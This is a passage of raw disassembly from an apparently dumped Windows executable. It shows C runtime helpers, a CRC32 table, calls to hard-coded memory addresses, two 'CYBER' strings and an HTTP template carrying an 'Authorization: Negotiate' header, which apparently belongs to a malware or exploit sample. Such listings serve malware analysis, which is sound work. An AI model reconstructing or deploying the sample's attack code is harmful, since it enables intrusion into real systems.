		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi

loc_426A96:				; CODE XREF: sub_426988+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2810000h
		test	eax, eax
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_426B7D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426B19
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]

loc_426B19:				; CODE XREF: sub_426988+17Dj
		cmp	ebx, esi
		jz	short loc_426B7D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_426B7D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426B57
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426B79
		cmp	eax, edi
		jl	short loc_426B48
		mov	eax, edi

loc_426B48:				; CODE XREF: sub_426988+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_426B79
; ---------------------------------------------------------------------------

loc_426B57:				; CODE XREF: sub_426988+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_426B60
		push	esi
		push	esi
		jmp	short loc_426B66
; ---------------------------------------------------------------------------

loc_426B60:				; CODE XREF: sub_426988+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_426B66:				; CODE XREF: sub_426988+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2820000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426B7D

loc_426B79:				; CODE XREF: sub_426988+1B8j
					; sub_426988+1CDj
		mov	eax, edi
		jmp	short loc_426B7F
; ---------------------------------------------------------------------------

loc_426B7D:				; CODE XREF: sub_426988+66j
					; sub_426988+B5j ...
		xor	eax, eax

loc_426B7F:				; CODE XREF: sub_426988+ADj
					; sub_426988+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426988	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B91	proc near		; CODE XREF: sub_426988+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426BB0

loc_426BA1:				; CODE XREF: sub_426B91+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426BB0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426BA1

loc_426BB0:				; CODE XREF: sub_426B91+Ej
					; sub_426B91+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426BBE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------

loc_426BBE:				; CODE XREF: sub_426B91+24j
		mov	eax, edx
		retn
sub_426B91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426BC1	proc near		; CODE XREF: sub_426913+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426C01
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426BE5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43C2FC
		mov	ax, [ecx+eax*2]
		jmp	short loc_426C08
; ---------------------------------------------------------------------------

loc_426BE5:				; CODE XREF: sub_426BC1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_426C13
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426C05

loc_426C01:				; CODE XREF: sub_426BC1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_426C05:				; CODE XREF: sub_426BC1+3Ej
		mov	eax, [ebp+var_4]

loc_426C08:				; CODE XREF: sub_426BC1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C13	proc near		; CODE XREF: sub_426BC1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DC8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DB590
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426C82
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		call	near ptr 2600563h
		nop
		test	eax, eax
		jz	short loc_426C60
		mov	eax, esi
		jmp	short loc_426C7D
; ---------------------------------------------------------------------------

loc_426C60:				; CODE XREF: sub_426C13+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CAE2C
		push	esi
		push	edi
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	loc_426DC4
		push	2
		pop	eax

loc_426C7D:				; CODE XREF: sub_426C13+4Bj
		mov	dword_4DB590, eax

loc_426C82:				; CODE XREF: sub_426C13+2Fj
		cmp	eax, 1
		jnz	short loc_426C9E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2600563h
		jmp	loc_426DC6
; ---------------------------------------------------------------------------

loc_426C9E:				; CODE XREF: sub_426C13+72j
		cmp	eax, 2
		jnz	loc_426DC4
		cmp	[ebp+arg_10], edi
		jnz	short loc_426CB4
		mov	eax, dword_4DB344
		mov	[ebp+arg_10], eax

loc_426CB4:				; CODE XREF: sub_426C13+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2810000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426DC4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426D12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_426D12:				; CODE XREF: sub_426C13+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426DC4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2810000h
		test	eax, eax
		jz	loc_426DC4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426D67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx

loc_426D67:				; CODE XREF: sub_426C13+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426DC4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426D7B
		mov	eax, dword_4DB334

loc_426D7B:				; CODE XREF: sub_426C13+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2610000h
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426DC4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426DC4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CC90
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426DC6
; ---------------------------------------------------------------------------

loc_426DC4:				; CODE XREF: sub_426C13+61j
					; sub_426C13+8Ej ...
		xor	eax, eax

loc_426DC6:				; CODE XREF: sub_426C13+86j
					; sub_426C13+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426C13	endp


; =============== S U B	R O U T	I N E =======================================



sub_426DD8	proc near		; DATA XREF: ___:00427F7Co

; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D4A8
sub_426DD8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426DF6
		mov	ecx, [ebp+8]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

locret_426DF6:				; CODE XREF: ___:00426DE8j
		retn
; ---------------------------------------------------------------------------

loc_426DF7:				; DATA XREF: sub_40D07Co
		mov	eax, offset dword_427F50
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E0C:				; DATA XREF: ___:00427FACo
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E14:				; DATA XREF: sub_40D21Eo
		mov	eax, offset dword_427F80
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 10h

loc_426E20:				; DATA XREF: sub_40D78Bo
		mov	eax, offset dword_427FB0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------

loc_426E32:				; DATA XREF: sub_4264FEo
		mov	eax, offset dword_428010
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E44:				; DATA XREF: sub_426573o
		mov	eax, offset dword_4280A8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------

loc_426E56:				; DATA XREF: sub_4265D0o
		mov	eax, offset dword_4280CC
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------

loc_426E68:				; DATA XREF: sub_426618o
		mov	eax, offset dword_4280F0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E7A:				; DATA XREF: sub_42669Ao
		mov	eax, offset dword_428150
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		dd 5Fh dup(0)
		dd 25C0000h, 25D0000h, 25E0000h, 25E0622h, 25F0000h, 25F0C23h
		dd 2600000h, 26004DFh, 2600563h, 2610000h, 26107E4h, 2610D26h
		dd 2620000h, 2620831h, 2620A9Dh
dword_42703C	dd 2620AB1h		; DATA XREF: ___:004231D9r
		dd 2620B2Ch, 2620DC7h, 2620DEEh, 2630000h, 2640000h, 2650000h
		dd 2660000h, 2660372h, 26608F8h, 77E75CB5h
dword_427068	dd 2660969h		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2660C61h, 2670000h, 2670A7Ah
dword_427078	dd 2670EA1h		; DATA XREF: sub_40111D+29r
					; sub_401ACD+318Br ...
dword_42707C	dd 2680000h		; DATA XREF: ___:004015E2r
					; sub_410CD5+32r
		dd 2680184h
dword_427084	dd 2680218h		; DATA XREF: sub_4196BC+B9r
		dd 26807F7h
dword_42708C	dd 2680835h		; DATA XREF: sub_410FF8:loc_411089r
dword_427090	dd 2680882h		; DATA XREF: ___:loc_4013DCr
		dd 2680C20h, 2680CF2h
dword_42709C	dd 2680DD9h		; DATA XREF: sub_409B12+2r
		dd 2690000h, 26900F6h
dword_4270A8	dd 26907AFh		; DATA XREF: ___:0040124Dr
					; sub_41A4D1+8Cr
dword_4270AC	dd 2690812h		; DATA XREF: sub_410CD5:loc_410DC1r
		dd 26A0000h, 26A0C6Bh
dword_4270B8	dd 26B0000h		; DATA XREF: sub_409B12:loc_40A020r
dword_4270BC	dd 26B0373h		; DATA XREF: sub_409B12+11r
					; sub_416F1A+60r ...
		dd 26C0000h, 26D0000h, 26D05BAh, 26E0000h, 77F7E300h, 77F7E21Fh
		dd 26E063Fh, 26E074Ch, 26F0000h, 26F0936h
dword_4270E8	dd 2700000h		; DATA XREF: sub_410FF8+Br
dword_4270EC	dd 2700923h		; DATA XREF: sub_418293+36r
		dd 2700BE0h, 2710000h
dword_4270F8	dd 27106DBh		; DATA XREF: sub_410F1F+3Ar
					; sub_419C64+79r
dword_4270FC	dd 2720000h		; DATA XREF: sub_410E26+23r
					; sub_419C64+3Br
; ---------------------------------------------------------------------------
		jmp	short loc_427117
; ---------------------------------------------------------------------------
		dw 272h
		dd 2730000h, 27309E3h, 2740000h, 2740775h
		db 2 dup(0), 75h
; ---------------------------------------------------------------------------

loc_427117:				; CODE XREF: ___:00427100j
		add	bl, [esi+3]
		jnz	short loc_42711E
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_42711E:				; CODE XREF: ___:0042711Aj
		jbe	short loc_427122
		ror	dword ptr [ebx], 1

loc_427122:				; CODE XREF: ___:loc_42711Ej
		jbe	short loc_427126
		lea	ecx, [esi]

loc_427126:				; CODE XREF: ___:loc_427122j
		jbe	short loc_42712A
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_42712A:				; CODE XREF: ___:loc_427126j
		ja	short near ptr loc_42712D+1
		scasd

loc_42712D:				; CODE XREF: ___:loc_42712Aj
		add	[edi+2], dh
		mov	eax, ds:0C027708h
		or	al, 77h
		add	al, [eax]
		add	[eax+2], bh
; ---------------------------------------------------------------------------
dword_42713C	dd 2780323h		; DATA XREF: sub_416F1A+BCr
		dd 2790000h
dword_427144	dd 27A0000h		; DATA XREF: sub_4170EC+21r
					; sub_417275+4Ar
dword_427148	dd 27A0B13h		; DATA XREF: sub_4170EC+10r
					; sub_417275+40r ...
		dd 27A0BA8h
dword_427150	dd 27B0000h		; DATA XREF: sub_417275+56r
		dd 27B02F5h, 27C0000h, 27D0000h, 27D05A3h, 27D0B78h, 27E0000h
		dd 27E0195h, 27E0864h, 27F0000h, 2800000h
dword_42717C	dd 2810000h		; DATA XREF: sub_418B58+13r
					; ___:0042324Er ...
dword_427180	dd 2820000h		; DATA XREF: sub_418C2A+Fr
					; sub_41D834+54r ...
		dd 2821081h, 28214EAh, 2821A49h, 2821CFBh, 2830000h, 2840000h
		dd 2842112h, 2850000h, 2860000h, 2870000h, 2871CDAh, 2871CEEh
		dd 2880000h, 2890000h, 2890146h
dword_4271C0	dd 289072Fh		; DATA XREF: sub_41DEA2+240r
dword_4271C4	dd 28908D9h		; DATA XREF: sub_41E976:loc_41E9A7r
		dd 2890A1Eh, 28A0000h, 28A0740h, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h
dword_4271E4	dd 71AB1746h		; DATA XREF: sub_412660+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
		dd 71AB1746h, 71AB3E5Dh
dword_427218	dd 71AB5690h		; DATA XREF: sub_40DFE2+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 0
dword_427238	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber		db 'CYBER',0            ; DATA XREF: sub_401ACD+347Co
					; sub_401ACD+356Co ...
		align 10h
aCyber_0	db 'CYBER',0            ; DATA XREF: sub_401ACD+389Co
					; sub_401ACD+38D2o ...
		align 4
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427688	dq 1.388888888888889e-2	; DATA XREF: sub_40D030+2Fr
dbl_427690	dq 1.666666666666667e-1	; DATA XREF: sub_40D030+15r
dword_427698	dd 0FFFFFFFFh		; DATA XREF: sub_40D07C+16Fr
					; sub_40D4B0r ...
		align 10h
dbl_4276A0	dq 1.333333333333333	; DATA XREF: sub_40D07C+79r
dword_4276A8	dd 0			; DATA XREF: sub_40D21E+4Do
					; sub_40D560+5Bo ...
flt_4276AC	dd 5.0e-1		; DATA XREF: ___:0040DD33r
dbl_4276B0	dq 9.765625e-4		; DATA XREF: ___:004166B6r
					; ___:004166D1r ...
dbl_4276B8	dq -1.52587890625e-4	; DATA XREF: sub_417ADD+3E5r
dbl_4276C0	dq 3.0517578125e-4	; DATA XREF: sub_417ADD+3C5r
dbl_4276C8	dq -3.0517578125e-4	; DATA XREF: sub_417ADD+342r
					; sub_417ADD+3A7r
dbl_4276D0	dq 1.52587890625e-4	; DATA XREF: sub_417ADD+271r
dbl_4276D8	dq -1.739501953125e-3	; DATA XREF: sub_417ADD+24Br
					; sub_417ADD+2D5r ...
dbl_4276E0	dq 3.11279296875e-3	; DATA XREF: sub_417ADD+E1r
dbl_4276E8	dq 3.0517578125e-5	; DATA XREF: sub_417ADD+AEr
					; sub_417ADD+138r ...
dbl_4276F0	dq 6.103515625e-5	; DATA XREF: sub_417ADD+93r
					; sub_417ADD+308r
dbl_4276F8	dq 2.288818359375e-3	; DATA XREF: sub_417ADD+21r
dbl_427700	dq -3.0517578125e-5	; DATA XREF: sub_418684+2Br
flt_427708	dd 9.765625e-4		; DATA XREF: sub_41A4D1+1B0r
flt_42770C	dd 8.0			; DATA XREF: sub_41A4D1+1AAr
flt_427710	dd 0.0			; DATA XREF: sub_41A4D1+171r
flt_427714	dd 1.0e-3		; DATA XREF: sub_41A4D1+168r
dbl_427718	dq 1.0			; DATA XREF: sub_41C679+6Cr
					; sub_41C7BF+6Cr ...
		dd 0FFFFFFFFh, 41DA0Ah,	41DA1Eh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
		align 4
byte_42775C	db 6			; DATA XREF: sub_41F69F:loc_41F6F6r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43C514o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43C510o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43C78Co
dbl_427880	dq 0.0			; DATA XREF: sub_42135F+8Cr
					; sub_42135F+ACr ...
dbl_427888	dq 4.195835e6		; DATA XREF: sub_421874+Fr
dbl_427890	dq 3.145727e6		; DATA XREF: sub_421874+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4218B2o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_4219D9+93o
		align 4
dword_4278C8	dd 0FFFFFFFFh, 4220C4h,	4220CEh, 0 ; DATA XREF:	sub_42205D+5o
dword_4278D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42218C+5o
		dd offset loc_42224A
		align 8
		dd offset sub_422228
		dd offset sub_422232
dword_4278F0	dd 0FFFFFFFFh, 42247Ah,	42247Eh, 0 ; DATA XREF:	sub_4222C2+5o
dword_427900	dd 0FFFFFFFFh, 4224DCh,	4224E5h, 0 ; DATA XREF:	sub_422486+5o
dword_427910	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42255C+5o
		dd offset loc_4225AD
		align 10h
		dd offset loc_422599
		dd offset loc_42259D
dword_427928	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4225B2+5o
		dd offset loc_422603
		align 8
		dd offset loc_4225EF
		dd offset loc_4225F3
dword_427940	dd 2 dup(0)		; DATA XREF: sub_422ACA+36o
					; sub_423CEC+39o ...
dword_427948	dd 0FFFFFFFFh, 422BDAh,	422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
					; DATA XREF: sub_422ACA+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
